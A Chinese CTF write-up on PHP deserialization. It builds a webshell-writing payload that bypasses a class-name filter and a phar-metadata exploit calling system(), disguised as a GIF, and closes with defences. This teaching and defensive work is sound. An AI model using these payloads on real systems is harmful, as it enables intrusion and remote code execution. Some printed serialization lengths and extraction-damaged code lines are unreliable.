ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

CTF Web题解:PHP反序列化漏洞原理与实战利用技巧

CTF Web题解:PHP反序列化漏洞原理与实战利用技巧 1. 项目背景与核心挑战解析“2020全国信息安全大赛 web之trick”这个标题一听就是一道典型的CTFCapture The Flag夺旗赛Web题目复盘。对于圈内人来说“trick”这个词本身就充满了故事性它往往意味着出题人埋下了一个或多个非常规、精巧甚至有些“刁钻”的思维陷阱远非简单的SQL注入或文件上传那么简单。这道题来自2020年的国赛其难度和代表性不言而喻考察的不仅是选手对PHP、反序列化等具体技术的掌握更是对Web应用整体架构、逻辑流以及非常规漏洞利用路径的深刻理解。这道题的核心大概率围绕着PHP反序列化漏洞展开但“trick”提示我们它绝不会是直接给你一个unserialize($_GET[‘data’])这么直白的入口。它可能将反序列化与PHP的其他特性如魔术方法、Session处理、phar协议、原生类利用相结合或者与Web服务器的配置Nginx/Apache解析特性、缓存机制、甚至是前端JavaScript逻辑进行联动构造出一个环环相扣的利用链。解题者需要像侦探一样从有限的Web界面和源码如果有的话中找到那条隐蔽的、通向最终Flag的路径。这不仅仅是技术的比拼更是耐心、细心和发散思维的较量。2. 解题环境搭建与初步信息收集面对这样一道题目第一步不是盲目地开始审计代码或测试参数而是搭建一个能够稳定复现和调试的本地环境。很多“trick”在远程服务器上可能一闪而过但在本地环境里你可以放慢速度一步步跟踪。2.1 本地环境快速构建我个人的习惯是使用Docker-Compose来快速构建一个与赛题尽可能相似的环境。对于PHP类题目一个经典的组合是Nginx PHP-FPM 可能需要的特定扩展。首先准备一个docker-compose.yml文件version: 3 services: web: image: nginx:alpine ports: - 8080:80 volumes: - ./html:/usr/share/nginx/html - ./nginx.conf:/etc/nginx/conf.d/default.conf depends_on: - php php: image: php:7.4-fpm-alpine # 根据题目提示的PHP版本选择2020年赛题用7.4很常见 volumes: - ./html:/var/www/html - ./php.ini:/usr/local/etc/php/php.ini environment: - MAX_EXECUTION_TIME300接着需要配置nginx.conf确保PHP文件被正确解析server { listen 80; server_name localhost; root /usr/share/nginx/html; index index.php index.html; location ~ \.php$ { fastcgi_pass php:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } }然后从题目附件或通过其他方式获取到的源码放入./html目录。最后一个关键的步骤是调整PHP配置。在php.ini中需要开启错误显示并允许phar流包装器为可能的phar反序列化利用做准备同时根据题目线索调整其他设置display_errors On display_startup_errors On error_reporting E_ALL phar.readonly Off ; 允许Phar相关操作对某些反序列化trick至关重要 allow_url_include Off ; 通常保持关闭但有时题目会特意开启注意phar.readonly Off这个设置在实战CTF环境或生产环境中是极其危险的但为了本地复现和深入理解漏洞原理我们需要打开它。务必记住这仅用于学习研究。2.2 信息收集与入口点分析环境跑起来后访问http://localhost:8080。第一步是进行最基础的信息收集查看页面源码右键查看HTML源码寻找隐藏的注释、JS文件链接、表单的隐藏字段input type”hidden”这些地方常常是出题人留下提示或设置陷阱的地方。目录扫描使用dirsearch或gobuster等工具对网站目录进行扫描。常见的备份文件如index.php.bak,.git/,.svn/,.DS_Store、配置文件config.php,db.php、管理员后台admin/,manage/都可能是突破口。命令示例dirsearch -u http://localhost:8080 -e php, bak, txt, json。参数模糊测试如果页面有输入框、查询参数如?id1尝试输入特殊字符‘ “ 等观察是否有错误回显或行为异常初步判断是否存在注入或XSS。但根据“trick”和热词“反序列化”的提示我们的重点更应该放在寻找可能接受序列化数据的地方。寻找源码如果题目提供了部分源码或者通过目录扫描找到了源码文件立即开始代码审计。如果没有尝试常见的源码泄露漏洞比如通过php://filter读取源码例如?filephp://filter/convert.base64-encode/resourceindex.php但这需要include等文件包含函数的存在。3. PHP反序列化漏洞原理深度剖析与本题关联在深入本题之前必须彻底理解PHP反序列化漏洞为何如此危险和常见。这不仅仅是调用unserialize()那么简单。3.1 序列化与反序列化的本质PHP序列化serialize()是将一个对象的状态属性值转换成一个可存储或传输的字符串的过程。这个字符串包含了对象的类名、属性名和属性值。反序列化unserialize()则是将这个字符串还原成一个对象实例。例如一个简单的类class User { public $username; public $isAdmin; public function __construct($u, $a) { $this-username $u; $this-isAdmin $a; } } $obj new User(‘guest’, false); echo serialize($obj); // 输出O:4:”User”:2:{s:8:”username”;s:5:”guest”;s:7:”isAdmin”;b:0;}问题在于反序列化过程会根据字符串中的类名自动去实例化这个类。如果这个类定义了某些特殊的“魔术方法”Magic Methods那么反序列化过程中这些方法就可能会被自动调用从而执行我们嵌入的恶意代码。3.2 关键魔术方法与利用链POP Chain构建这才是反序列化漏洞的精髓所在。出题人设计的“trick”往往就是精心构造一个“属性导向编程”Property-Oriented Programming, POP利用链。我们需要在源码中寻找那些定义了魔术方法的类并分析它们之间的关联。几个最关键的魔术方法__wakeup()在unserialize()时自动调用。常用于初始化操作或资源连接。如果这里有敏感操作如删除文件、连接数据库可能成为利用点但更常见的是我们需要绕过它利用CVE-2016-7124当序列化字符串中对象属性个数大于实际个数时__wakeup()会被跳过。__destruct()在对象被销毁时自动调用。这是最常用、最可靠的入口点。因为反序列化产生的对象在脚本执行结束后总会被销毁所以__destruct()里的代码几乎必定会执行。__toString()当对象被当作字符串使用时自动调用如echo $obj,$obj . ‘xxx’。如果某个类的__toString()方法里调用了其他危险函数或者其返回值被用于include、file_get_contents等就可能形成链式调用。__call()在对象调用不可访问的方法时触发。__get()/__set()在访问不可访问的属性时触发。这些可以用来触发其他类的方法串联起利用链。解题思路在本题的源码中我们需要像拼图一样找到多个类Class A, Class B, Class C…。Class A的__destruct()方法里调用了$this-someMethod()而someMethod可能又使用了$this-property这个property恰好是另一个Class B的实例。Class B的某个方法比如__toString里包含了一个危险函数调用如system($cmd)。那么我们的利用链就是反序列化触发A的__destruct- 调用B的实例方法 - 触发B的__toString- 执行系统命令。构造的序列化字符串就需要精心设置这些对象的属性让它们指向正确的类和值。3.3 本题可能涉及的“Trick”方向猜测结合“2020”和“trick”这个语境这道题可能涉及以下几个当时流行或经典的技巧Phar反序列化这是将反序列化与文件操作结合的大杀器。phar://协议在解析phar归档文件的元数据metadata时会自动进行反序列化。关键在于只要有一个文件操作函数如file_exists(),file_get_contents(),md5_file()等的参数可控并且我们能上传一个恶意构造的phar文件可伪装成jpg/gif就可以触发反序列化完全不需要显式的unserialize()函数。这极大地扩展了攻击面。Session反序列化PHP的Session处理器如php_serialize会将Session数据序列化后存储。如果我们可以控制Session文件的内容通过PHP_SESSION_UPLOAD_PROGRESS上传进度、或者某些框架的特定Session存储方式并且服务器使用了php或php_serialize处理器那么在读取Session时就会触发反序列化。利用PHP内置原生类Native ClassesPHP自带了一些类如SplFileObject用于文件读写、Error/Exception其__toString方法会泄露文件路径在特定场景下可以辅助利用。例如利用SoapClient的__call方法进行SSRF服务器端请求伪造。字符编码或字符串处理陷阱题目可能在序列化字符串的生成、传输或处理过程中加入了转义、过滤、编码解码等操作。例如需要处理宽字节、Unicode、或者特定的字符串替换规则才能构造出有效的序列化字符串。与Web服务器特性的结合比如Nginx的配置错误导致源码泄露$uri或$document_uri变量导致的CRLF注入或错误配置导致.php文件被当作静态文件下载或者FastCGI参数污染等这些信息收集阶段的发现可能为反序列化提供必要的类定义源码。4. 逐步审计与漏洞挖掘实战推演假设我们已经通过某种方式如目录扫描找到了www.zip备份或通过php://filter读取了关键文件拿到了题目的主要源码。现在进入最核心的代码审计环节。4.1 源码结构概览与危险函数定位首先快速浏览所有PHP文件建立项目结构认知。使用grep命令快速搜索危险函数和关键字grep -r “unserialize” ./ grep -r “__wakeup\|__destruct\|__toString\|__call\|__get\|__set” ./ grep -r “file_get_contents\|file_put_contents\|include\|require\|system\|exec\|passthru\|eval” ./ grep -r “phar://\|php://\|zip://” ./ grep -r “session_start\|session_id” ./假设我们发现了以下关键文件index.php和class.php。index.php:?php highlight_file(__FILE__); error_reporting(0); if (isset($_GET[source])) { die(highlight_file(class.php)); } include(‘class.php’); $data isset($_COOKIE[‘data’]) ? $_COOKIE[‘data’] : ‘’; if ($data) { $data base64_decode($data); // 注意这里有一个字符串替换的“trick” $data str_replace(‘EvilClass’, ‘GoodClass’, $data); if (unserialize($data)) { echo ‘反序列化成功’; } } else { setcookie(‘data’, base64_encode(serialize(new GoodClass(‘guest’))), time()3600); } ?class.php:?php class GoodClass { public $name; public $cache_file; public function __construct($name) { $this-name $name; $this-cache_file ‘/tmp/cache_’ . $this-name; } public function __destruct() { $content $this-name . ‘ visited at ‘ . date(‘Y-m-d H:i:s’); file_put_contents($this-cache_file, $content); } public function __toString() { return ‘Hello, ‘ . $this-name; } } class EvilClass { public $shell; public function __construct($shell) { $this-shell $shell; } public function __destruct() { system($this-shell); } } ?4.2 Trick分析与利用链构造现在我们来分析这个简单的例子中蕴含的“trick”入口点index.php会从Cookie中读取database64解码后进行一个字符串替换str_replace(‘EvilClass’, ‘GoodClass’, $data)然后尝试反序列化。目标我们想触发EvilClass的__destruct()方法执行system($this-shell)。障碍代码明确将序列化字符串中的EvilClass替换成了GoodClass。如果我们直接序列化一个EvilClass对象替换后类名就变成了GoodClass反序列化时会尝试实例化GoodClass但属性结构不匹配可能会失败或触发警告。绕过Trick这里考察的是对PHP序列化字符串格式的深刻理解。一个序列化字符串O:9:”EvilClass”:1:{…}其中9是类名EvilClass的字符长度。当我们把EvilClass替换成GoodClass也是9个字符时字符串长度没变但内容变了。然而类名的长度标识9并没有随之改变。反序列化时PHP引擎会读取长度9然后读取接下来的9个字符作为类名现在这9个字符是GoodClass正好匹配。所以替换是“成功”的对象被当作GoodClass实例化。属性不匹配的利用EvilClass有一个属性$shell而GoodClass有两个属性$name和$cache_file。当把EvilClass的序列化字符串替换类名后反序列化过程会按照GoodClass的结构来填充属性。它会读取第一个属性名和值赋给$name读取第二个属性名和值赋给$cache_file。关键在于__destruct()魔术方法是根据对象实际所属的类现在是GoodClass来调用的。所以最终触发的是GoodClass::__destruct()它会向$this-cache_file写入内容。二次利用GoodClass::__destruct()中使用了file_put_contents($this-cache_file, $content)。如果$this-cache_file可控我们就能写入任意文件内容。$content来源于$this-name这个我们也能控制。这就构成了一个“文件写入”漏洞。如果我们可以写入一个.php文件到Web目录就能获取Webshell。完整的利用链构思本题可能的方向真正的赛题可能比这复杂。也许我们需要利用这个文件写入生成一个phar文件然后再结合其他功能点比如一个能接收phar://协议的文件读取功能来触发第二次反序列化最终执行命令。或者写入的.htaccess或nginx.conf文件能改变服务器行为造成目录穿越、源码泄露等。构造Payload 为了利用文件写入我们需要构造一个序列化字符串使得替换类名后反序列化出的GoodClass对象的$cache_file和$name属性被我们控制。假设我们想让$cache_file为/var/www/html/shell.php$name为?php eval($_POST[‘cmd’]);?。原始的EvilClasspayload构造替换前$obj new EvilClass(‘ignored’); // 我们需要控制序列化字符串内部的属性名和值使其在替换后对应GoodClass的属性。 // EvilClass序列化格式: O:9:”EvilClass”:1:{s:5:”shell”;s:7:”ignored”;} // 我们需要把它改造成当”EvilClass”被替换为”GoodClass”后能被解析为 // O:9:”GoodClass”:2:{s:4:”name”;s:xxx:”value1″;s:10:”cache_file”;s:yyy:”value2″;} // 注意属性名的长度必须准确。我们可以手动构造也可以写个小脚本class GoodClass { public $name; public $cache_file; } $obj new GoodClass(); $obj-name ‘?php eval($_POST[“cmd”]);?’; $obj-cache_file ‘/var/www/html/shell.php’; $payload serialize($obj); echo $payload . “\n”; // 输出: O:9:”GoodClass”:2:{s:4:”name”;s:35:”?php eval($_POST[“cmd”]);?”;s:10:”cache_file”;s:25:”/var/www/html/shell.php”;} // 现在把这个字符串中的”GoodClass”替换回”EvilClass”并确保长度标识9不变。 $final_payload str_replace(‘GoodClass’, ‘EvilClass’, $payload); // $final_payload: O:9:”EvilClass”:2:{s:4:”name”;s:35:”?php eval($_POST[“cmd”]);?”;s:10:”cache_file”;s:25:”/var/www/html/shell.php”;} // 将这个$final_payload进行base64编码放入Cookie的data字段。 // 服务器端收到后会执行 str_replace(‘EvilClass’, ‘GoodClass’, $data)正好变回我们最初构造的GoodClass序列化字符串从而成功反序列化并触发文件写入。实操心得这种字符串替换的trick关键在于精确计算长度。任何字符的增减都会导致反序列化失败。务必使用代码来生成payload避免手动修改出错。另外要注意PHP版本差异不同版本对序列化字符串的严格程度可能不同。5. 进阶利用Phar反序列化与条件竞争如果题目源码中确实没有明显的unserialize()调用那么Phar反序列化就是必须考虑的方向。5.1 构造恶意Phar文件首先我们需要一个能生成phar文件的脚本create_phar.php?php class EvilClass { public $shell ‘id /tmp/success’; public function __destruct() { system($this-shell); } } // 删除已存在的phar文件 unlink(‘exploit.phar’); // 创建新的phar归档 $phar new Phar(‘exploit.phar’); $phar-startBuffering(); $phar-addFromString(‘test.txt’, ‘test’); // 添加一个文件作为内容 // 设置存根stubphar文件被当作php执行时的代码 $phar-setStub(‘?php __HALT_COMPILER(); ?’); // 将恶意对象放入metadata $object new EvilClass(); $phar-setMetadata($object); // 关键metadata在读取时会被反序列化 $phar-stopBuffering(); echo ‘Phar file created.’; ?执行这个脚本生成exploit.phar。由于phar文件有特定标识某些文件上传检测可能会拦截。我们可以修改文件头将其伪装成GIF或JPEGmv exploit.phar exploit.gif # 或者用十六进制编辑器修改文件头5.2 寻找触发点接下来在源码中寻找任何能接收文件路径参数并且内部使用了如file_exists(),file_get_contents(),md5_file(),getimagesize(),exif_thumbnail()等文件操作函数的地方。假设我们发现了一个图片查看功能function getImageContent($path) { if (file_exists($path)) { return file_get_contents($path); } return false; } $img $_GET[‘img’]; // 用户可控 echo getImageContent($img);那么我们就可以尝试利用?imgphar://./uploads/exploit.gif/test.txt。当服务器执行file_exists(‘phar://…’)时它会解析phar归档读取其metadata从而触发其中EvilClass对象的反序列化执行system(‘id /tmp/success’)。5.3 条件竞争Race Condition的可能在一些更复杂的场景中题目可能会在反序列化后立即删除临时文件或者对反序列化对象进行一些检查后再销毁。这时对象从反序列化完成到__destruct()被调用之间可能存在一个极短的时间窗口。如果我们可以通过多线程并发请求在对象被销毁前利用其内部的某个方法进行恶意操作比如写入文件就可能构成条件竞争漏洞。这需要编写并发攻击脚本例如用Python的threading模块同时发起大量请求。6. 常见问题排查与实战技巧实录在实战解题和本地复现过程中一定会遇到各种坑。这里记录几个高频问题问题1反序列化payload构造后页面报错“unserialize(): Error at offset X of Y bytes”。原因序列化字符串格式错误。最常见的原因是字符串长度与实际字符数不匹配。例如属性名s:4:”name”表示后面是一个长度为4的字符串但如果实际给的”name”只有3个或5个字符就会出错。中文字符、特殊字符如引号、反斜杠需要特别注意转义和长度计算。排查将你的payload进行base64_decode后用print_r()或var_dump()输出仔细核对每个部分的长度。使用bin2hex()函数将payload转换成十六进制与标准的序列化格式逐字节对比。在本地用相同PHP版本序列化一个预期对象得到标准字符串进行比对。问题2明明触发了__destruct但里面的system()或file_put_contents()命令没有执行成功。原因权限问题Web服务器进程如www-data, nobody权限不足无法执行系统命令或写入目标目录。禁用函数system,exec,shell_exec,passthru等函数可能在php.ini的disable_functions列表中被禁用。Open_basedir限制PHP配置限制了可访问的目录。命令执行被转义或过滤$this-shell的内容可能被escapeshellcmd()等函数处理过。排查与绕过尝试执行无害命令如whoami、id、echo 123 /tmp/test来测试权限和目录。如果系统命令被禁用尝试使用PHP代码执行如?php phpinfo();?写入文件后包含或者利用proc_open()、popen()等未被禁用的函数。使用绝对路径执行命令如/bin/sh -c whoami。问题3Phar反序列化利用不成功file_exists()返回false。原因phar.readonly配置为On默认。必须在php.ini中设置为OffPhar类才能用于写和创建。文件路径错误。phar://协议需要指向phar归档文件内部的路径。格式是phar:///绝对路径/归档文件名.phar/内部文件路径。注意如果phar文件是伪装的如.gif协议解析可能失败因为phar扩展会检查文件头。目标函数不支持phar://包装器。绝大多数文件系统函数都支持但最好确认一下。技巧在攻击脚本中可以先用file_get_contents(‘phar://…’)测试是否能读取到phar包内test.txt的内容确认触发点有效再放入恶意metadata。问题4Session反序列化利用场景如何寻找关键点找到能控制Session文件内容的入口。常见的有session.upload_progress功能。当上传文件时POST一个与session.upload_progress.name同名的变量可以在Session中写入数据。某些框架自定义的Session处理器如果存储介质如Redis、数据库可控且反序列化方式不安全。Session文件包含LFI漏洞结合可控的Session ID和写入能力。利用步骤首先确定Session存储路径session.save_path然后想办法将恶意序列化字符串写入Session文件最后让应用读取这个Session。7. 防御策略与安全编程思考作为攻击者我们挖掘漏洞作为开发者我们更应思考如何避免。针对这类“trick”型反序列化漏洞防御是多层次、立体化的根本方法避免反序列化不可信数据。这是最直接有效的。如果业务必须使用序列化考虑使用JSON等更安全的格式。严格类型检查与白名单如果必须使用unserialize()务必在反序列化前进行严格的类型检查。可以使用unserialize($data, [‘allowed_classes’ false])来禁止反序列化任何对象类只允许基础类型PHP 7。如果必须允许某些类使用白名单机制只允许反序列化明确的、安全的类。魔术方法的安全实现在__wakeup()和__destruct()等魔术方法中避免执行敏感操作或者在执行前进行严格的权限和参数校验。安全配置生产环境务必设置phar.readonly On。在php.ini中关闭allow_url_include。设置合适的open_basedir限制文件系统访问范围。在disable_functions中禁用不必要的危险函数。输入过滤与输出编码对所有用户输入进行严格的过滤和验证。对输出到HTML、命令行、日志的内容进行正确的编码防止XSS、命令注入等二次攻击。代码审计与自动化扫描在开发流程中引入代码安全审计使用静态应用安全测试SAST工具扫描潜在的漏洞模式如危险的魔术方法、不安全的反序列化调用点。依赖库安全及时更新第三方库和框架它们可能包含已知的反序列化漏洞如ThinkPHP, Fastjson等。这道“2020全国信息安全大赛 web之trick”题目就像一场精心设计的迷宫游戏。它考验的不仅是你的技术工具箱里有多少武器更是你如何将这些武器组合、变通在复杂的规则和限制下找到唯一出路的能力。从信息收集、环境搭建、代码审计到理解序列化格式、构造POP链、绕过各种过滤最后达成RCE或获取Flag每一步都需要耐心、细心和创造力。这种深度挖掘和逻辑串联的过程正是CTF比赛和Web安全研究最吸引人的地方。每一次成功的解题都是对思维模式和安全认知的一次升级。
返回列表